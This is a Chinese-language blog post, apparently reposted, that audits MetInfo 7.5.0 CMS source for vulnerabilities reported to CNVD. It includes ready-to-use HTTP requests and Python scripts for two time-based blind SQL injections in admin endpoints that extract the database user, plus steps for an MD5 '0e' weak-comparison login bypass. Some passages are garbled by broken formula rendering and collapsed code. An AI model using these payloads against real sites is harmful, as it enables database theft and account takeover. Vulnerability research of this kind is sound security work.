知方号

知方号

网络安全审计之CMS代码审计

网络安全审计之CMS代码审计

0x00:环境说明

Windows 10 Phpstuby Php版本:7.2.9 CMS版本:MetInfo7.5.0

0x01:目录结构 |-- about|-- about1|-- admin|-- app|-- cache|-- case|-- config|-- download|-- favicon.ico|-- feedback|-- hits|-- img|-- include|-- index.php|-- install|-- job|-- member|-- message|-- news|-- online|-- product|-- public|-- robots.txt|-- search|-- sitemap|-- tags|-- templates|-- upload 0x02:开始审计

**注意:**以下漏洞均已被CNVD收录

【一>所有资源获取query 方法,跟进变量 $link 可以看到已经是 mysql对象了。

使用 burpsute 进行注入攻击,注意需要管理员权限,payload:

POST /admin/?n=user&c=parameter&a=doDelParas HTTP/1.1Host: cms.cnContent-Length: 60Pragma: no-cacheCache-Control: no-cacheContent-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://cms.cnReferer: http://cms.cn/admin/Connection: closeCookie: met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;id[]=164+and+if((select substr(version(),1,1))>0,sleep(1),0)

测试结果如下,成功触发基于时间的布尔盲注延时2秒,id 164是当前表默认存在的。(原谅我的厚码,大家知道就好)

编写python脚本跑出用户名

import requestsurl = "http://cms.cn/admin/?n=user&c=parameter&a=doDelParas"headers = {"Cookie": "met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}proxies = {"http": None}req = requests.session()result = 'for mid in range(15): for i in range(30, 150): data = "id[]=164+and+if((select ascii(substr(user(),%d,1)))=%d,sleep(1),0)" % (mid, i) resp = req.post(url, data=data, headers=headers, proxies=proxies) if resp.elapsed.total_seconds() > 1.5: result += chr(i) print(result)

SQL注入

在文件 appsystemparameteradminparameter_admin.class.php 的 doparasave 函数下跟进 table_para 方法,table_para 方法接收了两个表单参数, M [ ‘ f o r m ’ ] 接 收 表 单 的 所 有 键 值 对 , _M[‘form’] 接收表单的所有键值对, M​[‘form’]接收表单的所有键值对,_M[‘form’][‘module’] 接收表单的module参数。

在table_para 函数,需要构造表单的内容使数据能传入到update_para_list或insert_para_list方法,这两个方法都可以触发sql注入,这里我选择使用insert_para_list来触发。

跟进到insert_para_list方法, f i e l d [ ‘ o p t i o n s ’ ] 的 数 据 需 要 是 j s o n 格 式 , field[‘options’]的数据需要是json格式, field[‘options’]的数据需要是json格式,options的一个值需要是数组,使foreach之后 o p t i o n 是 数 组 , 然 后 option是数组,然后 option是数组,然后module的数据就赋值给$option[‘module’]。

进入 appsystemparameterincludeclassparameter_database.class.php 文件的add_para_value方法,可以看到 $option[‘module’] 被直接拼接到sql语句并且没有使用单引号,这里就导致了sql注入。

捋一下思路,我们需要构造 $_M[‘form’] 表单让方法能正常调用以下流程 doparasave -> table_para -> insert_para_list -> add_para_value 而 $_M[‘form’][‘module’] 表单则构造sql语句。

使用 burpsute 进行注入攻击,注意需要管理员权限,payload:

POST /admin/?n=parameter&c=parameter_admin&a=doparasave HTTP/1.1Host: cms.cnContent-Length: 126Pragma: no-cacheCache-Control: no-cacheContent-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://cms.cnReferer: http://cms.cn/admin/Connection: closeCookie: met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;allid=a&submit_type=save&type-a=6&options-a={"0":{"0":"0"}}&module=-1 or if((select ascii(mid(user(),1,1)))>1,sleep(0.03),0)

测试结果如下,成功触发基于时间的布尔盲注延时差不多1秒。

python脚本:

import requestsurl = "http://cms.cn/admin/?n=parameter&c=parameter_admin&a=doparasave"headers = {"Cookie": "met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}proxies = {"http": None}req = requests.session()result = 'for mid in range(15): for i in range(30, 150): data = "allid=a&submit_type=save&type-a=6&options-a={"0":{"0":"0"}}&module=-1 or if((select ascii(mid(user(),%d,1)))=%d,sleep(0.03),1)" % (mid, i) resp = req.post(url, data=data, headers=headers, proxies=proxies) if resp.elapsed.total_seconds() > 0.8: result += chr(i) print(result) md5弱类型比较

在文件 app/system/user/web/login.class.php 的 dologin函数下,$this->login 方法接收了表单的username与password,跟进该方法。

在login函数中继续跟进到 $this->userclass->login_by_password 方法。

在文件 app/system/include/class/user.class.php 的 login_by_password 函数中 $user 从方法 t h i s − > g e t u s e r b y u s e r n a m e ( this->get_user_by_username( this−>getu​serb​yu​sername(username); 获取了数据库查询的会员数据。表单的password被进行了md5加密,然后与 $user[‘password’] 进行了比较,由于使用了两个等于号,所以存在md5弱类型比较漏洞。(经常打ctf的应该都知道)

漏洞复现

首先注册一个账号 abab,密码设置为md5加密后为0e开头的字符串。

登录时使用md5加密后为0e开头的字符串即可。

结语

可以发现大部分是后台的漏洞,前台防的比较紧,不过这些漏洞CNVD都是收录的。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至lizi9903@foxmail.com举报,一经查实,本站将立刻删除。

上一篇 没有了

下一篇没有了